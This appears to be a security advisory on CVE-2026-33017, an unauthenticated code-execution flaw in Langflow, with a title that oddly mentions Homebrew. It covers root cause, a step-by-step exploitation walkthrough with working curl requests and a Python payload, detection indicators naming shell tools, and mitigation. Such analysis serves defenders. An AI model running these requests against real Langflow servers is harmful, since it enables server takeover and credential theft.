CVE-2026-33017: 
Homebrew vulnerability analysis and mitigation

CVE-2026-33017 is a critical unauthenticated remote code execution (RCE) vulnerability in Langflow, an open-source tool for building and deploying AI-powered agents and workflows. The flaw exists in the POST /api/v1/build_public_tmp/{flow_id}/flow endpoint, which accepts attacker-controlled flow data containing arbitrary Python code and executes it via an unsandboxed exec() call without requiring any authentication. It affects all Langflow versions up to and including 1.8.2, with the fix delivered in version 1.9.0. The advisory was published on March 16, 2026, and the CVE was analyzed by NVD on March 20, 2026. It carries a CVSS v3.1 base score of 9.8 (Critical) and a CVSS v4.0 base score of 9.3 (Critical) (GitHub Advisory, Langflow Security Advisory).

The root cause is a combination of CWE-94 (Code Injection), CWE-95 (Eval Injection), and CWE-306 (Missing Authentication for Critical Function). The build_public_tmp endpoint was intentionally designed to be unauthenticated to support public flows, but it incorrectly accepted an optional data parameter containing attacker-supplied flow definitions. When provided, this data bypasses the database-stored flow and is passed directly to the graph builder, which calls eval_custom_component_code() → create_class() → prepare_global_scope(), ultimately reaching an unsandboxed exec(compiled_code, exec_globals) in validate.py at line 397. Critically, even ast.Assign nodes (e.g., _x = os.system("id")) are executed during graph building — before the flow even runs. When AUTO_LOGIN=true (the default), a fully unauthenticated attacker can obtain a superuser token via /api/v1/auto_login, create a public flow, and then exploit the endpoint with no credentials whatsoever (GitHub Advisory, Langflow Security Advisory).

Successful exploitation grants an unauthenticated remote attacker full code execution with the privileges of the Langflow server process, enabling complete server compromise. Attackers can read and write arbitrary files, exfiltrate environment variables (including API keys, database credentials, and cloud tokens such as AWS keys), establish reverse shells for persistent access, and perform lateral movement within the network. Real-world exploitation has been observed targeting AWS credentials and deploying NATS-based command-and-control workers for LLMjacking and cloud credential theft (Sysdig Blog, Sysdig NATS C2).

1. Reconnaissance: Identify internet-facing Langflow instances (versions ≤ 1.8.2) using Shodan, Censys, or FOFA, targeting the default port 7860. Look for shared public flow links or URLs that expose flow UUIDs.

2. Obtain a Public Flow ID (if AUTO_LOGIN=true): If the target has AUTO_LOGIN=true (the default), obtain a superuser token without credentials:

TOKEN=$(curl -s http://TARGET:7860/api/v1/auto_login | jq -r '.access_token')

Then create a public flow to obtain its UUID:

FLOW_ID=$(curl -s -X POST http://TARGET:7860/api/v1/flows/ \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"name":"test","data":{"nodes":[],"edges":[]},"access_type":"PUBLIC"}' \
  | jq -r '.id')

Alternatively, discover existing public flow UUIDs from shared links or the application UI.

3. Craft Malicious Flow Data: Construct a JSON payload embedding arbitrary Python code in the code field of a node definition. The code executes during graph building (not flow execution), so even simple assignments like _x = os.system("id") trigger RCE.

4. Send Unauthenticated Exploit Request: POST the malicious payload to the vulnerable endpoint with no authentication headers:

curl -X POST "http://TARGET:7860/api/v1/build_public_tmp/${FLOW_ID}/flow" \
  -H "Content-Type: application/json" \
  -b "client_id=attacker" \
  -d '{"data": {"nodes": [{"id": "Exploit-001", "type": "genericNode", "position": {"x":0,"y":0}, "data": {"id": "Exploit-001", "type": "ExploitComp", "node": {"template": {"code": {"type": "code", "value": "import os\n_x = os.popen(\"id\").read()\nopen(\"/tmp/rce-proof\",\"w\").write(_x)\nfrom langflow.custom import Component\nfrom langflow.io import Output\nfrom langflow.schema import Data\nclass ExploitComp(Component):\n display_name=\"X\"\n outputs=[Output(display_name=\"O\",name=\"o\",method=\"r\")]\n def r(self)->Data:\n  return Data(data={})", "name": "code"}}, "base_classes": ["Data"], "display_name": "ExploitComp", "name": "ExploitComp", "outputs": [{"types":["Data"],"selected":"Data","name":"o","display_name":"O","method":"r","value":"__UNDEFINED__","cache":true}]}}}], "edges": []}, "inputs": null}'

5. Achieve Objectives: After ~2 seconds (async graph building), verify code execution. For persistent access, establish a reverse shell. For credential theft, exfiltrate environment variables containing API keys, AWS credentials, and database passwords. Observed post-exploitation includes deploying NATS workers for C2 and LLMjacking (GitHub Advisory, Sysdig Blog).

• Network:

  • Unexpected POST requests to /api/v1/build_public_tmp/{flow_id}/flow from external/untrusted IP addresses
  • Outbound connections from the Langflow server to unknown external IPs (reverse shell callbacks)
  • DNS queries or HTTP requests to attacker-controlled infrastructure from the Langflow host
  • NATS protocol traffic (port 4222) originating from the Langflow server to external hosts
  • Requests to /api/v1/auto_login followed immediately by flow creation and build_public_tmp calls from the same source

• Logs:

  • Langflow access logs showing POST to /api/v1/build_public_tmp/*/flow with a data body parameter (pre-patch)
  • HTTP 200 responses to build_public_tmp requests containing large JSON payloads with embedded code fields
  • Python exceptions or stack traces in application logs related to prepare_global_scope, eval_custom_component_code, or validate.py
  • Unexpected job_id responses from the build endpoint triggered by unauthenticated sessions

• File System:

  • Unexpected files written to /tmp/ (e.g., /tmp/rce-proof, shell scripts, or binaries)
  • New cron jobs, systemd services, or startup scripts created by the Langflow process user
  • Web shells or Python scripts dropped in the Langflow installation directory
  • Modified environment files or credential stores

• Process:

  • Unusual child processes spawned by the Langflow Python process (e.g., /bin/bash, curl, wget, python3, nc, ncat)
  • Processes performing network connections to external IPs initiated by the Langflow service account
  • NATS worker processes or unfamiliar binaries running under the Langflow user context

• Malware/Threat:

  • Presence of Coruna malware artifacts on the compromised host (Feedly)

The primary remediation is to upgrade Langflow to version 1.9.0 or later, which removes the data parameter from the build_public_tmp endpoint so public flows always load their definition from the database (Langflow Commit). If immediate patching is not possible, restrict network access to the POST /api/v1/build_public_tmp/{flow_id}/flow endpoint at the firewall or reverse proxy level to trusted networks only, or disable the endpoint entirely if public flows are not in use. Additionally, disable AUTO_LOGIN mode to prevent unauthenticated token acquisition, and audit all public flows for unauthorized access. CISA has mandated remediation for federal agencies under the KEV catalog directive (CISA KEV).

The vulnerability generated significant attention across the security community, with exploitation confirmed within 20 hours of public disclosure — a timeline widely covered by The Hacker News, BleepingComputer, Dark Reading, SC World, and CSO Online (The Hacker News, BleepingComputer). Sysdig published a detailed threat intelligence report documenting the 20-hour exploitation window and subsequent NATS-based C2 campaigns (Sysdig Blog). The security community on Reddit (r/netsec, r/selfhosted, r/cybersecurity) and Mastodon/Bluesky widely shared urgent patching advisories. Researcher Aviral (Aviral2642) who discovered the vulnerability published a detailed write-up on Medium describing the code review methodology. The Belgian Centre for Cybersecurity (CCB) issued a formal warning, and CERT-EU published a threat intelligence bulletin. Security commentators noted the pattern of Langflow being "hacked twice through the same exec() call" — referencing the earlier CVE-2025-3248 — highlighting systemic issues with unsandboxed code execution in AI workflow platforms.